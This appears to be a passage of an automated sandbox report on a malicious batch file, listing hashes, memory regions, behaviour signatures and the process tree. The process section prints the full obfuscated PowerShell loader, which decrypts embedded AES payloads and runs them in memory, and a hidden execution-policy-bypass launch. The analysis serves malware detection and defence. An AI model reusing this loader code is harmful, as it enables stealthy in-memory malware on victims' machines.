| MD5 | 37dd47dad31b9c666f0f4df0beeddfa2 |
| SHA1 | a117eb3f670dff0656a96b15ba5f872f3da17591 |
| SHA256 | 61bf769b256336c493ece34f176e0edcc1e47cde2d9e39a41f9ad69f80c9d83b |
| SHA512 | 120986ffd44f23531f3bb7de62c18e40f8b2cb12c8a470edb5b03e44f68dccdf04bbe2faf56759977f357334c48ae431dbcddf845e9005ba2a805383e8c8c118 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | 2143b379fed61ab5450bab1a751798ce |
| SHA1 | 32f5b4e8d1387688ee5dec6b3cc6fd27b454f19e |
| SHA256 | a2c739624812ada0913f2fbfe13228e7e42a20efdcb6d5c4e111964f9b620f81 |
| SHA512 | 0bc39e3b666fdad76bcf4fe7e7729c9e8441aa2808173efc8030ce07c753cb5f7e25d81dd8ec75e7a5b6324b7504ff461e470023551976a2a6a415d6a4859bfa |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 2f2d37af23e9151207deae9d60891ea6 |
| SHA1 | 80515bef4c534014e11d2e902eec8d1b61c92942 |
| SHA256 | 100bdf7c9bf30f3a27fb56df9b6b7e509bcabc91137f4a0fc6907df494d2478e |
| SHA512 | e026c03c4bc4f35be469c197b2bab87945cce9dfb5a902727c9e533eb49e6c2179109eca6b813e0a4943173bd932403ecbdfc48ce5aec98cbfa027a59062fc3e |
memory/3396-210-0x0000000002160000-0x000000000218A000-memory.dmp
memory/2764-213-0x00000252698A0000-0x00000252698AE000-memory.dmp
memory/908-265-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/1320-268-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/4644-274-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/2680-273-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/732-272-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/2600-271-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/1552-270-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/4916-267-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/408-266-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/1036-263-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/1168-262-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/1740-261-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/1560-260-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/1940-259-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/1328-258-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/2320-257-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/372-269-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/3276-264-0x00007FFB90940000-0x00007FFB90950000-memory.dmp
memory/2764-301-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/2764-302-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
memory/2764-303-0x00007FFBD08B0000-0x00007FFBD0A8B000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-26 14:55
Reported
2024-05-26 15:28
Platform
win7-20240508-en
Max time kernel
1561s
Max time network
1562s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1284 wrote to memory of 1148 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1284 wrote to memory of 1148 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1284 wrote to memory of 1148 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1284 wrote to memory of 1144 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1284 wrote to memory of 1144 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1284 wrote to memory of 1144 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\cmd.exe |
| PID 1284 wrote to memory of 1196 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1284 wrote to memory of 1196 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1284 wrote to memory of 1196 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat"
C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
Network
Files
memory/1196-4-0x000007FEF5B0E000-0x000007FEF5B0F000-memory.dmp
memory/1196-5-0x000000001B600000-0x000000001B8E2000-memory.dmp
memory/1196-6-0x0000000001F00000-0x0000000001F08000-memory.dmp
memory/1196-7-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp
memory/1196-8-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp
memory/1196-9-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp
memory/1196-10-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp
memory/1196-11-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp
memory/1196-12-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp
memory/1196-13-0x000007FEF5B0E000-0x000007FEF5B0F000-memory.dmp